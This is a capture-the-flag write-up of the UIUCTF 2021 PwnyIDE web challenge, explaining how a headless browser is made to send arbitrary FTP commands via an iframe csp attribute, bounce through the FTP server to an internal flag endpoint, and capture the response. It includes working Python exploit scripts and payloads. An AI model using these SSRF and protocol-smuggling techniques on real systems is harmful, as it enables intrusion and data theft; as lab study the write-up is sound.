# PwnyIDE - UIUCTF 2021 ## Intro #### What is pwnyIDE? Pwny IDE is a good-looking advanced IDE that lets you write HTML/CSS code and watch the changes in real-time! Pretty cool right? > JS is not supported :) #### Start of the journey This challenge was one of the unsolved challenges in [UIUCTF 2021](https://ctftime.org), and it was also pretty fun! The author decided to not release the solution after the contest and he also ran a bounty program ($50 to the first solver). Luckily [we](https://ctftime.org/team/130817) could solve it after the CTF and we won both the contest and the bounty! ## How it works Features of this IDE: - Pretty theme - Account management - Login/Register buttons ( who needs sign-out ? ) - Code sharing - source codes management via FTP which is limited to internal users - API endpoint that yields something called flag which is also limited to internal users - You can report your codes to the admin - A TCP proxy that forwards connections to FTP server with a small delay #### Pretty theme This IDE is beautiful!!! ![](https://i.imgur.com/ltzovPl.png) #### Account management When we register on the website, it assigns us a random uid, after that it creates a folder for us in `file:///files` folder. It will be used to save our code. ```javascript const uid = randomBytes(16).toString("hex") fs.mkdirSync(`/files/${uid}/`) ``` #### Code sharing We can save and share our code! It will be saved in a file named `file:///files/${uid}/file` and anybody can access it at `http://website/workspace/${uid}`. Some facts about this endpoint: - Response's content-type is `text/html` - Response contains a strict [csp](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) ( will be explained later ) - We have full control over the response's body ```javascript res.setHeader("Content-Security-Policy", "sandbox") res.setHeader("Content-Type", "text/html; charset=UTF-8") if (!fs.existsSync(`/files/${req.params.uid}/file`)) { res.send(`<html>\n<head>\n <title>Test</title>\n</head>\n<body>\n <div>\n Hello World\n </div>\n</body>\n</html>`) return } const data = fs.readFileSync(`/files/${req.params.uid}/file`) res.send(data) ``` #### FTP server The FTP server is written in js and uses [ftpd](https://github.com/nodeftpd/nodeftpd). It's listening on `127.0.0.1:21` so we can't access it from outside. It uses HTTP server's users for authentication and the authenticated user can view and edit files in his folder (`file:///files/${user.uid`). Also, The `PASV` command is disabled. ```javascript conn._command_PASV = () => {conn.respond("502 PASV mode disabled")} ``` #### flag endpoint Only requests from localhost with `Sec-Pro-Hacker: 1` header can access the flag. ```javascript app.get( "/ssrf", async (req, res) => { res.setHeader("Content-Type", "text/plain; charset=UTF-8") if (req.socket.remoteAddress === "127.0.0.1" && req.header("Sec-Pro-Hacker") === "1") res.send(process.env.FLAG) else res.send("glhf ;)") }) ``` #### Reporting We can report our codes on the website to the admin, and he ( headlessChrome/93 ) will check it out. Also, there is a check that checks if the URL matches the following regexp. ```regexp ^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$ ``` #### TCP proxy An app called [tcpslow](https://github.com/gx0r/tcpslow) is running on the server that simply forwards connections from `127.0.0.1:8021` to FTP server with a 500ms delay. ```bash tcpslow -l 8021 -f 21 -d 500 ``` ## Where to start? When I started to work on this challenge, a hint was already released. > HINT: The first step is to be able to execute arbitrary FTP commands That made me think that it should be easy to send FTP commands because they have given that hint about it and also thought that it shouldn't be hard to do that with a browser. Well, I was wrong :) it took me about 8 hours ( or more? ) to figure out how to do that. Eventually, I started to look for things I can do with arbitrary FTP commands. #### Some guesses FTP servers are nice targets when we have SSRF vulnerability, Some challenges have used this concept before, like [this](https://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/) or [this](https://balsn.tw/ctf_writeup/20200418-plaidctf2020/#make-ssrf-great-again-with-active-ftp) and [this](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/resonator). We have a browser, so the attack should be like `chrome attacks FTPServer and FTPServer attacks HTTPServer`. When I was looking at the source code for the first time and then I saw the FTP server, I thought that it's gonna be the same PORT/PASV trick again, but the `/ssrf` endpoint blew my mind. flag was in the response lol. All writeups that I have had seen have used FTP servers to launch attacks against another service. I had no idea if it was possible to read the response using FTP. #### What's FTP active mode and passive mode Read [this](https://slacksite.com/other/ftp.html#actexample). > TL;DR: Using the PORT command, we can make the FTP Server read a file and send its content to a host:port. ## Reading the flag with FTP #### Sending requests to HTTP Server The following script will login and send our code ( which we have full control over it ) to HTTP Server. It first saves the payload, then it gets the uid ( name of the folder which our payload is inside it ), Then it connects to the FTP socket ( pretending SSRF ), and then it connects to `127.0.0.1:1337` and will send our payload to it. ```python #!/usr/bin/env python3 from pwn import * import requests USERNAME = "meme1337" PASSWORD = "meme1337" TARGET_IP = "127.0.0.1" TARGET_PORT = 1337 PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" s = requests.session() # Login to website s.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":USERNAME,"password":PASSWORD}) # Save the payload s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":PAYLOAD}) SESS_ID = s.cookies.get_dict()["uid"][4:4+32] p = remote("127.0.0.1","8021") # Login p.sendafter("\n",f"USER {USERNAME}\r\n") p.sendafter("\n",f"PASS {PASSWORD}\r\n") # Connect to 127.0.0.1:1337 - ((5 << 8) + 57) == 1337 p.sendafter("\n","PORT 127,0,0,1,5,57\r\n") # Send the file p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n") p.interactive() ``` #### Reading the response I was wondering what happens if I send a STOR command right after RETR, Maybe some magics happen and the response will be written to the file 🤔 So i just added `STOR /files/{SESS_ID}/file\r\n` right after the `RETR`command. ```python p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n") p.sendafter("\n",f"STOR /files/{SESS_ID}/file\r\n") p.interactive() ``` and it didn't work. ``` root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head file GET /ssrf HTTP/1.1 Host: dddd.com Sec-Pro-Hacker: 1 ``` Then I tried again with sending many requests instead of one. ```python PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" * 3000 ``` It worked this time! ``` root@d3575742476c:/files/70a375e99500d557b04b34c800b04a8c# head file HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 16 ETag: W/"10-L48XoI4zhfnfpVEEjnlYZ16NdMY" Date: Wed, 04 Aug 2021 11:19:23 GMT Connection: keep-alive Keep-Alive: timeout=5 uiuctf{REDACTED}HTTP/1.1 200 OK ``` #### Why it worked? Both `RETR` and `STOR` commands use the following function to get a socket to read/write. ```js FtpConnection.prototype._whenDataReady = function(callback) { var self = this; if (self.dataListener) { // how many data connections are allowed? // should still be listening since we created a server, right? if (self.dataSocket) { self._logIf(LOG.DEBUG, 'A data connection exists'); callback(self.dataSocket); } else { self._logIf(LOG.DEBUG, 'Currently no data connection; expecting client to connect to pasv server shortly...'); self.dataListener.once('ready', function() { self._logIf(LOG.DEBUG, '...client has connected now'); callback(self.dataSocket); }); } } else { // Do we need to open the data connection? if (self.dataSocket) { // There really shouldn't be an existing connection self._logIf(LOG.DEBUG, 'Using existing non-passive dataSocket'); callback(self.dataSocket); } else { self._initiateData(function(sock) { callback(sock); }); } } }; ``` When we enter this function for the first time ( after sending the `RETR` command ), Both `self.dataListener` and `self.dataSocket` are undefined, so a new socket will be created with calling `self._initiateData` function. The second time we enter this function ( after sending the `STOR` command ), `self.dataSocket` is defined, because the `RETR` command is still writing that huge data, so the `STOR` command will use the same socket! Now that we know why it happens, we can replace that requests with newlines and it will still work! ```js PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000 ``` #### Sending all commands without any delay As you can see in the above scripts, after sending each command, we wait for the server's response, and then we send the next command. We can't do that in chrome afaik 😂. According to writeups and [rfc354](https://datatracker.ietf.org/doc/html/rfc354) section IV paragraph one, CRLF can be used to terminate each command, so practically it should work. > FTP commands are ASCII terminated by the ASCII character sequence CRLF (Carriage Return follow by Line Feed). So Let's try to login ```python p = remote("127.0.0.1","8021") # Login p.sendafter("\n",f"USER {USERNAME}\r\nPASS {PASSWORD}\r\n") p.interactive() ``` ``` parrot@ps:~/pwn/pwnyIDE$ ./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done [*] Switching to interactive mode 530 Not logged in. ``` What? let's see FTP logs. ``` <127.0.0.1> FTP command: USER meme1337 PASS meme1337 attempt user: meme1337 PASS meme1337 <127.0.0.1> >> 530 Not logged in. ``` So apparently ftpd doesn't give a sh*t about rfc354 section IV paragraph one. It thinks that CRLF is part of the argument. Let's see how they handle each TCP packet's data. You can find the following function [here](https://github.com/nodeftpd/nodeftpd/blob/master/lib/FtpConnection.js#L235). ```js FtpConnection.prototype._onData = function(data) { var self = this; if (self.hasQuit) { return; } data = data.toString('utf-8').trim(); self._logIf(LOG.TRACE, '<< ' + data); // Don't want to include passwords in logs. self._logIf(LOG.INFO, 'FTP command: ' + data.replace(/^PASS [\s\S]*$/i, 'PASS ***') ); var command; var commandArg; var index = data.indexOf(' '); if (index !== -1) { var parts = data.split(' '); command = parts.shift().toUpperCase(); commandArg = parts.join(' ').trim(); } else { command = data.toUpperCase(); commandArg = ''; } ``` So what if we send each command in a separate packet? The maximum TCP packet size is around 64K and localhost's MTU is also around that number [nowadays](https://stackoverflow.com/questions/27431984/significance-of-mtu-for-loopback-interface). To do that, we can prefix our commands with around 65k spaces. It will work because of that `trim()` in the above function. ```js data = data.toString('utf-8').trim(); ``` Let's try it ```py p = remote("127.0.0.1","8021") # Login PRESPACES = " " * 66000 p.sendafter("\n",f"{PRESPACES}USER {USERNAME} {PRESPACES}PASS {PASSWORD}\r\n") p.interactive() ``` ``` parrot@ps:~/pwn/pwnyIDE$ ./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done [*] Switching to interactive mode 502 Command not implemented. 331 User name okay, need password. 230 User logged in, proceed. ``` Worked! ## Attacking FTP from chrome This was my favorite part of #### Things we can't do The headlessChrome only visits URLs that match the following regexp. ``` ^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$ ``` Good news is that admin visits a page in which we can put arbitrary HTML inside it, Bad news is that the page is protected by a strict CSP. ``` Content-Security-Policy: sandbox ``` You can read more about it [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox). Basically, these two limitations make things complicated: - No Javascript - No redirection with meta tags #### What's the goal? We have to send a very long text with whitespaces and alphanumeric chars inside it to the FTP server without using JS. What an awesome challenge! #### attempt #1 - TLSPoison - Failed I first tried the [official implementation](https://github.com/jmdx/TLS-poison) and It was not even working with short payloads lol. Then i found [this](https://blog.zeddyu.info/2021/04/20/tls-poison/) blog. Since I didn't know anything about TLS stuff, I just ran the commands in readme 😊 and it didn't work either with large(>100k) payloads. #### Attempt #2 - Regexp is hard! - ??? My friend [renwa](https://twitter.com/renwax23) found this bug, Basically the bug is that the dots are not escaped. ```js if (!/^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$/.test(req.body.url)) { ``` So we can just buy a .tf domain with $6.49 and earn $50 bounty from admin😛 > It was unintended btw ![](https://i.imgur.com/NYkXxQH.png) #### Attempt #3 - CSP report-uri directive - Failed This was my most promising failed attempt. You can read more about [report-uri here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri). Basically Mr.chrome puts the whole CSP in the report HTTP request, so we can put some strings after the CSP and it will be sent along with the report request to the target. ```js const express = require('express'); const app = express(); const port = 3000; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy","script-src 'none'; report-uri http://localhost:9000/;"+"OH".repeat(50)); res.send('<script>LOL</script>'); }) app.listen(port, () => {}) ``` ``` parrot@ps:~$ nc -lvnp 9000 Listening on 0.0.0.0 9000 Connection received on 127.0.0.1 57642 POST / HTTP/1.1 Host: localhost:9000 Connection: keep-alive Content-Length: 462 sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Content-Type: application/csp-report Accept: */* Origin: http://localhost:3000 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: http://localhost:3000/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 {"csp-report":{"document-uri":"http://localhost:3000/","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"script-src 'none'; report-uri http://localhost:9000/;OHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOH","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:3000/","status-code":200,"script-sample":""}} ``` But we are limited to 65k again Because of these limitations 😢 - Chrome doesn't send long reports. IDK why. - Headers length limit. #### Attempt #4 - Iframe CSP attribute - Succeeded While I was testing my failed attempts again, this attribute came to my mind. You can read more about it [here](https://w3c.github.io/webappsec-cspee/#required-csp-header). Basically, it will be placed in a request header called `Sec-Required-CSP`. ```html <body><iframe src="http://localhost:4000/" csp="LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO"></iframe></body> ``` ``` parrot@ps:~$ nc -lvnp 4000 Listening on 0.0.0.0 4000 Connection received on 127.0.0.1 52802 GET / HTTP/1.1 Host: localhost:4000 Connection: keep-alive sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92" sec-ch-ua-mobile: ?0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Sec-Required-CSP: LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 ``` And the mind-blowing thing is that there is no strict length/syntax check🤯! Although it has some problems with some characters like commas in the policy But we can easily send long payloads inside it. ## Chaining all together Finally, we can execute arbitrary FTP commands! I replaced the `PORT` command with EPRT since it was acting weird in CSP. *Cleaned* Final exploit. ```python #!/usr/bin/env python3 from pwn import * import requests #Register with these creds manually account1 = "meme1337" account2 = "meme13371337" TARGET_IP = "127.0.0.1" TARGET_PORT = 1337 PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000 def saveFile(username,passwd,content): s = requests.session() # Login to website s.post(f"http://{TARGET_IP}:{TARGET_PORT}/login",data={"username":username,"password":passwd}) # Save the payload s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":content}) return s.cookies.get_dict()["uid"][4:4+32] def pref(u): return(u+" "*66000) UID = saveFile(account1,account1,PAYLOAD) c = "" c+= pref("START") c+= pref(f"USER {account1}") c+= pref(f"PASS {account1}") c+= pref("EPRT |1|127.0.0.1|1337") c+= pref(f"RETR /files/{UID}/file") c+= pref(f"STOR /files/{UID}/file") c+= pref("END") c = f"<iframe src='http://localhost:8021' csp=';{c}'></iframe>" UID = saveFile(account2,account2,c) print(f"http://{TARGET_IP}:{TARGET_PORT}/workspace/{UID}") ``` Solved! > uiuctf{i_h0p3_th4t_waS_a_fUn_ch4In_75d997b} #### What was that tcpslow for? - Chrome closes the connection if it sees an invalid response. in this case the FTP greeting message - Chrome doesn't connect to port 21 because it's in [unsafe ports list](https://neo4j.com/developer/kb/list-of-restricted-ports-in-browsers/). ## The End of the journey Shout-out to my teammates, organizers, and especially [arxenix](https://twitter.com/ankursundara) for creating this challenge.